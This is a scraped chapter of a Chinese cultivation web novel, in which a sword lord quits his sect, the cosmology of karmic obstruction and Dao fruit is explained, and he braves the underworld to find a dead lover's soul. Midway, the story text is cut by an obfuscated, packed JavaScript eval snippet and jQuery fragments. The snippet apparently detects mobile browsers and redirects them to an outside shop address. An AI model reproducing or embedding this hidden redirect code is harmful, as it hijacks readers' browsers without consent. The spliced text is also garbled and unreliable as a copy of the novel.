245. “业障”与“道果”
作品:《重生成死对头的师尊后》 后来,无人能说清那一日最先动手的是谁。
只知道在那片被凛冽剑意彻底封锁的空间里,百里忍冬立于漫天剑影之中,未动分毫,仅凭一缕剑意便控制了剑宗上下所有人的佩剑,剑鸣响彻云霄,裹挟着摧枯拉朽之势,朝着那些叫嚣着要他毁掉厉无渡身体的各宗门人疾射而去。
剑光如暴雨倾泻,惨叫声此起彼伏,不过须臾,一众挑衅者便尽数重伤倒地,再无半分方才的嚣张气焰。
期间,剑宗弟子与长老们见状,纷纷想要上前相助自家剑君。可他们甫一抬手,便察觉一股无形的剑意死死压在周身,经脉滞涩,四肢沉重得如同灌了铅,莫说掺和进战斗,就连动弹一下,都要耗费极大的气力。
在察觉到这一点后,无需任何言语,剑宗上下全都骤然明白了自家剑君的用意——他是要独自揽下所有因果,不想让宗门被拖入这场注定无解的争端。
而在一切落幕之后,当着满地哀嚎、再起不能的各宗门人的面,百里忍冬袖袍轻挥,漫天剑影便如潮水般退去,万剑铮鸣着还鞘归位。
打了一众正道长老级人物,他却好像没做什么一般,依旧平静地揽着怀中的厉无渡,随后轻描淡写,却字字掷地有声地宣布道:“自今日起,百里忍冬退出剑宗,所行之举,所结之仇,均系于我一人之身,若有寻仇者,尽管来战。”
话音落下,他不顾身后剑宗弟子与长老们大惊失色的呼喊与挽留,携着厉无渡的身体飘然离去。
风卷云散,剑光如流星雨般划破天穹,转瞬即逝,只留下满地狼藉,和一个骤然失去剑君的剑宗。
自那以后,百年之间,百里忍冬再未回过剑宗十八峰,亦未在任何修真界正道的大型盛事上露过面,但他的名字却从未真正消失。
修真界开始流传剑君孤身一人,遍访秘境险地,只为寻找各种有益于养身养魂的天材地宝,和诸如“回魂”、“重塑”、“逆生死”之类秘法的传说。
这些消息零零散散,真假难辨。
唯一能确定的是,那位曾一剑杀死魔尊,为正道换来百年太平的剑君,没有再踏入世俗间半步,而是持之以恒、孜孜不倦地在找一个希望。
找一个,能让怀中之人,再睁开眼的希望。
……
上述这一切,都是厉无渡因天魔变的吞噬而读取到的玄煞的记忆。
而他之所以能拥有如此全方位的超脱视角,又始终注视着百里忍冬和与他相关的一切,正是因为他实质上作为“业障”的身份。
“业障”的来历很久远,亦是天地间绝对的辛秘。
天地初开之时,清浊半分,后生万物,而清气与浊气便亦化生为各种形态,融合于天地万物之中。
但无论是什么,都要遵循分久必合、合久必分的规律,即便是构成天地根本的清气和浊气也不例外。
每隔一段漫长的时间,大部分分散的浊气和清气便会各自汇聚起来,对应形成名为“业障”和“道果”的东西,但每一代出现的“业障”和“道果”形态都是随机的,有时是动物,有时是植物,甚至有时候它们只是两块属性相克的石头。
这一代的“业障”便由天地间无数生灵、尤其是人族的各种负面情绪率先汇聚而成,它吸取了越来越多的浊气,最后逐渐形成了一团无形无质,却拥有着无数邪恶思想的意识体。
而为了消灭业障、维持天地间的平衡,对应的“道果”便也降临在了与生灵有关的东西上——
气运。
集大气运者,最终可得“道果”,从而斩杀“业障”,如此天地间清浊二气便可重分,进入下一个漫长的轮回。
而作为“道果”的载体,斩杀“业障”者亦可在功德圆满后飞升上界。
前世,可以成为“道果”载体的大气运者有两个候选对象——厉无渡和百里忍冬。
但由于规则的限制,两个人身上的气运还是不够集中,所以必须有一个杀掉另一个,这样才能使另一个人身上的气运也汇聚到唯一留下的那个胜者身上,使其成功得到“道果”,斩杀“业障”,飞升上界。
厉无渡主动求死,将自己葬送在百里忍冬剑下,阴差阳错地达成了这个条件。所以如果后来的百里忍冬顺理成章地继续修炼,便会在突破九转境后发现天地间的真理,然后按部就班地去完成自己的使命。
然而可惜的是,“情”之一字,自来最难预测,即便是超脱万物的天地至理,亦拿这不讲道理的东西没有办法。
百里忍冬因厉无渡之死,完全放弃了自己本应踏上的那条道路。
如此一来,“道果”迟迟未曾归位,就导致“业障”日益壮大,甚至开始谋划如何摆脱自己注定要被灭杀、重新散逸回天地间的命运。
于是它潜伏在暗中,一边关注着唯一剩下的“道果”载体,一边寻找着机会,试图让自己脱离眼下这只能看着却无法干预世间万物的现状。
——它最后成功了,因为这一世的魔尊玄煞,便是被前世而来的“业障”侵占了身体的载体。
而他的成功,亦是多亏了前世的百里忍冬。
……
厉无渡以前世玄煞作为“业障”的视角,继续看着后面发展的一切。
带着她前世遗体离开剑宗后的百年里,百里忍冬走过了无数绝地险境。
九死一生的考验一轮接着一轮,他身上的伤口也一层层堆叠,可无论挡在前面的是多么可怕、多么艰难的境地,百里忍冬都未曾后退过。
他寻到了一捧天地初开时遗留下的息壤,那是炼制秘境等洞天福地的珍贵核心,随后百里忍冬竟做出了一个惊人的决定:他将息壤融合进自身剑骨里,生生在体内开辟出了一个小秘境,随后将厉无渡妥善地藏了进去,真正做到了万无一失、永不分离的保护。
然后,厉无渡便看着他开始把“起死回生”四个字拆开来,一个一个地试。
先是回魂。
百里忍冬下了九幽,以活人之身独闯黄泉。
黄泉的阴寒戾气足以砭骨,那是无论你修为多高,只要身为活人便无法抵御的侵蚀和痛苦,更毋论还有无数幽魂厉鬼的撕咬和拉扯。
可百里忍冬都扛住了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008120|158912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
黄泉路上无日月,只有灰蒙蒙的雾气漫无边际,忘川水泛着青黑的波澜,河面上漂浮着零落的彼岸花,开得妖冶却死寂。他踏过奈何桥,经受阴气和鬼魂侵蚀的身体支离若病骨,脚步却依旧一往无前。
孟婆在桥边支着锅,汤香氤氲,见他这活人生魂闯进来,也只是掀了掀眼皮,并未多言。
百里忍冬未曾关注到孟婆睁一只眼闭一只眼的举动——事实上只要不是挡在自己面前的阻碍,他都已无多余的心力分出去注意了。
他目光恍惚着扫过桥上那些麻木前行的魂魄,一张张脸掠过,却没有半分与厉无渡相似的轮廓。然后他又沿着忘川走了不知多久,走过了望乡台,台上有魂魄正遥遥望着人间,哭声泣泣,却仍然没有厉无渡的踪影。
于是百里忍冬继续前行。
他寻过三生石,石上刻满了姻缘因果,他拂去石上的尘埃,指尖掠过密密麻麻的名字,翻来覆去,始终不见“厉无渡”三个字。
黄泉的风带着蚀骨的冷,吹得他衣袂翻飞,百里忍冬立在盛开的彼岸花丛中,心一点点沉了下去,像是要彻底堕入暗无天日的深渊。
他抬手,指尖触碰到自己剑骨的位置,那里对应着体内的小秘境,厉无渡躺在里面,安静得像一场不会醒来的梦。
忽然,一道飘渺的声音响了起来:
“活人之身,擅闯黄泉,所为何事?”
百里忍冬循声望去,只见雾气翻涌,一位身着玄色长袍的老者缓步走出,须发皆白,周身阴气环绕,却无半分阴邪之意,反倒带着一种渊渟岳峙的沉稳。
老者正是掌管黄泉的地仙。
他目光落在百里忍冬身上,带着几分审视:“寻常活人入黄泉,魂魄早被阴气撕碎,你能撑到这里,倒是难得。”
百里忍冬抬眸,眼底没有半分波澜,只有一种近乎偏执的坚定。
他对着地仙微微拱手,礼数周全,语气却带着不容置疑的执拗:“晚辈百里忍冬,求仙人告知,魔尊厉无渡的魂魄,在何处?”
地仙闻言,眼中闪过一丝讶异,随即摇了摇头:“黄泉境内,没有你要寻的人。”
百里忍冬的手指猛地收紧,骨节泛白:“仙人尚未查探,便如此断言,请恕晚辈不能相信。”
“本仙身为黄泉之主,这里所发生的一切,每一个魂魄,俱在本仙感知之中,一念之间便可明辨。”地仙的声音平静无波,似乎并不在意百里忍冬质问时的冒犯,但回答时也同样未曾客气,“你一区区凡人,未曾脱凡成仙,不知本仙之神通,便不要妄自揣度。”
“……仙人息怒,是晚辈失礼。”
百里忍冬也意识到自己的失态,深吸了一口气,这才重新整理好情绪,恳切地望向地仙道:“那请问仙人,可有办法,能找回她的魂魄?”
地仙有些怜悯地看着他,摇了摇头:“你与她情况特殊,具体内情本仙不便多言,但唯一可以肯定的是,她既已死于你手,那便绝无再复生的机会——天地之间,碧落黄泉,自此便不会再有此人的生机,所以你才找不到她的魂魄。”

